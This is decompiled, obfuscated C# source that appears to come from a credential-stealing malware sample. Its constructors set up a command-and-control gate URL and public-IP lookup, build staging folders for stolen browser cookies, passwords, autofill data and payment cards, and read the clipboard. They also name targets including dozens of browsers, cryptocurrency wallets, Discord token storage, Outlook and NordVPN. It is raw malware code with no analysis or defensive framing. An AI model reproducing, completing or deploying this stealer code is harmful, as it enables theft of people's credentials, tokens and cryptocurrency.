// Token: 0x0600000F RID: 15 RVA: 0x000058A0 File Offset: 0x00003AA0
// Note: this type is marked as 'beforefieldinit'.
static Help()
{
Class40.gcO0h7LzslQIW();
Help.DesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
Help.LocalData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
Help.System = Environment.GetFolderPath(Environment.SpecialFolder.System);
Help.AppDate = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
Help.CommonData = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
Help.MyDocuments = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
Help.UserProfile = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
Help.SysPatch = new string[]
{
Help.LocalData,
Help.AppDate,
Path.GetTempPath()
};
Help.RandomSysPatch = Help.SysPatch[new Random().Next(0, Help.SysPatch.Length)];
Help.Mut = Help.HWID;
Help.HWID = Help.GetProcessorID() + Help.GetHwid();
Help.GeoIpURL = "http://ip-api.com/xml";
Help.ApiUrl = "https://moist.company/gate.php";
Help.IP = new WebClient().DownloadString("https://api.ipify.org/");
Help.dir = string.Concat(new string[]
{
Help.RandomSysPatch,
"\\",
Class2.smethod_0(),
Help.HWID,
Class2.smethod_2().ToString()
});
Help.Moist_Dir = string.Concat(new string[]
{
Help.dir,
"\\",
Class2.smethod_2().ToString(),
Help.HWID,
Class2.smethod_0()
});
Help.Browsers = Help.Moist_Dir + "\\Browsers";
Help.Cookies = Help.Browsers + "\\Cookies";
Help.Passwords = Help.Browsers + "\\Passwords";
Help.Autofills = Help.Browsers + "\\Autofills";
Help.Downloads = Help.Browsers + "\\Downloads";
Help.History = Help.Browsers + "\\History";
Help.Cards = Help.Browsers + "\\Cards";
Help.date = DateTime.Now.ToString("MM/dd/yyyy h:mm:ss tt");
Help.LoggerLog = Help.LocalData + "\\" + Help.HWID + ".txt";
Help.ClipBoard = Clipboard.GetText();
}
// Token: 0x06000067 RID: 103 RVA: 0x00007EC4 File Offset: 0x000060C4
public GcmBlockCipher(IBlockCipher c, IGcmMultiplier m)
{
Class40.gcO0h7LzslQIW();
base..ctor();
if (c.GetBlockSize() != 16)
{
throw new ArgumentException("cipher required with a block size of " + 16.ToString() + ".");
}
if (m == null)
{
m = new Tables8kGcmMultiplier();
}
this.iblockCipher_0 = c;
this.igcmMultiplier_0 = m;
}
// Token: 0x0600004F RID: 79 RVA: 0x00007848 File Offset: 0x00005A48
public ParametersWithIV(ICipherParameters parameters, byte[] iv, int ivOff, int ivLen)
{
Class40.gcO0h7LzslQIW();
base..ctor();
if (parameters == null)
{
throw new ArgumentNullException("parameters");
}
if (iv == null)
{
throw new ArgumentNullException("iv");
}
this.icipherParameters_0 = parameters;
this.byte_0 = new byte[ivLen];
Array.Copy(iv, ivOff, this.byte_0, 0, ivLen);
}
// Token: 0x06000003 RID: 3 RVA: 0x00005520 File Offset: 0x00003720
// Note: this type is marked as 'beforefieldinit'.
static Class1()
{
Class40.gcO0h7LzslQIW();
Class1.string_0 = "763995249";
Class1.int_0 = 10500000;
Class1.string_1 = new string[]
{
".txt",
".rpd",
".suo",
".config",
".cs",
".csproj",
".tlp",
".sln"
};
}
// Token: 0x06000052 RID: 82 RVA: 0x000078C8 File Offset: 0x00005AC8
public KeyParameter(byte[] key, int keyOff, int keyLen)
{
Class40.gcO0h7LzslQIW();
base..ctor();
if (key == null)
{
throw new ArgumentNullException("key");
}
if (keyOff < 0 || keyOff > key.Length)
{
throw new ArgumentOutOfRangeException("keyOff");
}
if (keyLen < 0 || keyOff + keyLen > key.Length)
{
throw new ArgumentOutOfRangeException("keyLen");
}
this.byte_0 = new byte[keyLen];
Array.Copy(key, keyOff, this.byte_0, 0, keyLen);
}
// Token: 0x06000022 RID: 34 RVA: 0x00007120 File Offset: 0x00005320
// Note: this type is marked as 'beforefieldinit'.
static Class4()
{
Class40.gcO0h7LzslQIW();
Class4.int_0 = 0;
Class4.int_1 = 0;
Class4.int_2 = 0;
Class4.int_3 = 0;
Class4.int_4 = 0;
Class4.int_5 = 0;
Class4.string_0 = Path.GetTempPath() + "\\bd" + Help.HWID + ".tmp";
Class4.string_1 = Path.GetTempPath() + "\\ls" + Help.HWID + ".tmp";
Class4.string_2 = new string[]
{
"Chrome",
"Edge",
"Yandex",
"Orbitum",
"Opera",
"Amigo",
"Torch",
"Comodo",
"CentBrowser",
"Go!",
"uCozMedia",
"Rockmelt",
"Sleipnir",
"SRWare Iron",
"Vivaldi",
"Sputnik",
"Maxthon",
"AcWebBrowser",
"Epic Browser",
"MapleStudio",
"BlackHawk",
"Flock",
"CoolNovo",
"Baidu Spark",
"Titan Browser",
"Google",
"browser"
};
}
// Token: 0x060000A7 RID: 167 RVA: 0x0000971C File Offset: 0x0000791C
public Class9(string string_1)
{
Class40.gcO0h7LzslQIW();
this.byte_0 = new byte[]
{
0,
1,
2,
3,
4,
6,
8,
8,
0,
0
};
base..ctor();
this.byte_1 = File.ReadAllBytes(string_1);
this.ulong_1 = this.method_5(16, 2);
this.ulong_0 = this.method_5(56, 4);
this.method_3(100L);
}
// Token: 0x06000119 RID: 281 RVA: 0x0000BAD0 File Offset: 0x00009CD0
public CNT(string baseName)
{
Class40.gcO0h7LzslQIW();
base..ctor();
this.byte_1 = new byte[]
{
0,
1,
2,
3,
4,
6,
8,
8,
0,
0
};
if (File.Exists(baseName))
{
FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
string s = Strings.Space((int)FileSystem.LOF(1));
FileSystem.FileGet(1, ref s, -1L, false);
FileSystem.FileClose(new int[]
{
1
});
this.byte_0 = Encoding.Default.GetBytes(s);
this.ushort_0 = (ushort)this.method_8(16, 2);
this.ulong_0 = this.method_8(56, 4);
if (decimal.Compare(new decimal(this.method_1()), 0m) == 0)
{
this.ulong_0 = 1UL;
}
this.method_11(100UL);
}
}
// Token: 0x06000245 RID: 581 RVA: 0x0000525A File Offset: 0x0000345A
// Note: this type is marked as 'beforefieldinit'.
static Class26()
{
Class40.gcO0h7LzslQIW();
Class26.int_0 = 0;
Class26.string_0 = "\\Wallets\\Armory\\";
}
// Token: 0x06000254 RID: 596 RVA: 0x0000529F File Offset: 0x0000349F
// Note: this type is marked as 'beforefieldinit'.
static Class32()
{
Class40.gcO0h7LzslQIW();
Class32.int_0 = 0;
Class32.string_0 = "\\Wallets\\Ethereum\\";
}
// Token: 0x060000DC RID: 220 RVA: 0x00004859 File Offset: 0x00002A59
public Gecko4()
{
Class40.gcO0h7LzslQIW();
base..ctor();
this.Objects = new List <Gecko4>();
}
// Token: 0x06000179 RID: 377 RVA: 0x00004DD0 File Offset: 0x00002FD0
public JsonPrimitive(double value)
{
Class40.gcO0h7LzslQIW();
base..ctor();
this.object_0 = value;
}
// Token: 0x06000210 RID: 528 RVA: 0x00005123 File Offset: 0x00003323
// Note: this type is marked as 'beforefieldinit'.
static Class15()
{
Class40.gcO0h7LzslQIW();
Class15.string_0 = "\\EmailClients\\Outlook";
}
// Token: 0x060000D3 RID: 211 RVA: 0x0000446C File Offset: 0x0000266C
public Gecko3()
{
Class40.gcO0h7LzslQIW();
base..ctor();
}
// Token: 0x0600005F RID: 95 RVA: 0x0000446C File Offset: 0x0000266C
protected Class8()
{
Class40.gcO0h7LzslQIW();
base..ctor();
}
// Token: 0x060000C0 RID: 192 RVA: 0x000047C0 File Offset: 0x000029C0
// Note: this type is marked as 'beforefieldinit'.
static DesktopWriter()
{
Class40.gcO0h7LzslQIW();
DesktopWriter.string_0 = "";
}
// Token: 0x0600023A RID: 570 RVA: 0x0000446C File Offset: 0x0000266C
public TGrabber()
{
Class40.gcO0h7LzslQIW();
base..ctor();
}
// Token: 0x06000066 RID: 102 RVA: 0x00004637 File Offset: 0x00002837
public GcmBlockCipher(IBlockCipher c)
{
Class40.gcO0h7LzslQIW();
this..ctor(c, null);
}
// Token: 0x06000261 RID: 609 RVA: 0x0000446C File Offset: 0x0000266C
public Class37()
{
Class40.gcO0h7LzslQIW();
base..ctor();
}
// Token: 0x0600020A RID: 522 RVA: 0x0000510C File Offset: 0x0000330C
// Note: this type is marked as 'beforefieldinit'.
static Class14()
{
Class40.gcO0h7LzslQIW();
Class14.int_0 = 0;
Class14.string_0 = "\\discord\\Local Storage\\leveldb\\";
}
// Token: 0x0600002D RID: 45 RVA: 0x0000446C File Offset: 0x0000266C
private Arrays()
{
Class40.gcO0h7LzslQIW();
base..ctor();
}
// Token: 0x0600025F RID: 607 RVA: 0x000052E4 File Offset: 0x000034E4
// Note: this type is marked as 'beforefieldinit'.
static Class36()
{
Class40.gcO0h7LzslQIW();
Class36.int_0 = 0;
Class36.string_0 = "\\Wallets\\Monero\\";
}
// Token: 0x06000271 RID: 625 RVA: 0x00005397 File Offset: 0x00003597
// Note: this type is marked as 'beforefieldinit'.
static Class38()
{
Class40.gcO0h7LzslQIW();
Class38.int_0 = 0;
Class38.string_0 = "\\Wallets\\Zcash\\";
}
// Token: 0x06000184 RID: 388 RVA: 0x00004EDE File Offset: 0x000030DE
public JsonPrimitive(DateTimeOffset value)
{
Class40.gcO0h7LzslQIW();
base..ctor();
this.object_0 = value;
}
// Token: 0x060000B2 RID: 178 RVA: 0x0000446C File Offset: 0x0000266C
public DomainDetect()
{
Class40.gcO0h7LzslQIW();
base..ctor();
}
// Token: 0x0600018B RID: 395 RVA: 0x00004F29 File Offset: 0x00003129
// Note: this type is marked as 'beforefieldinit'.
static JsonPrimitive()
{
Class40.gcO0h7LzslQIW();
JsonPrimitive.pwnrrNboZt = Encoding.UTF8.GetBytes("true");
JsonPrimitive.byte_0 = Encoding.UTF8.GetBytes("false");
}
// Token: 0x0600023E RID: 574 RVA: 0x00005243 File Offset: 0x00003443
// Note: this type is marked as 'beforefieldinit'.
static Class23()
{
Class40.gcO0h7LzslQIW();
Class23.int_0 = 0;
Class23.string_0 = "\\Vpn\\NordVPN";
}
// Token: 0x06000248 RID: 584 RVA: 0x00005271 File Offset: 0x00003471
// Note: this type is marked as 'beforefieldinit'.
static Class27()
{
Class40.gcO0h7LzslQIW();
Class27.int_0 = 0;
Class27.string_0 = "\\Wallets\\Atomic\\Local Storage\\leveldb\\";
}
// Token: 0x06000064 RID: 100 RVA: 0x00004606 File Offset: 0x00002806
public Tables8kGcmMultiplier()
{
Class40.gcO0h7LzslQIW();
this.uint_0 = new uint[32][][];
base..ctor();
}
// Token: 0x06000076 RID: 118 RVA: 0x00004653 File Offset: 0x00002853
// Note: this type is marked as 'beforefieldinit'.
static GcmBlockCipher()
{
Class40.gcO0h7LzslQIW();
GcmBlockCipher.byte_0 = new byte[16];
}
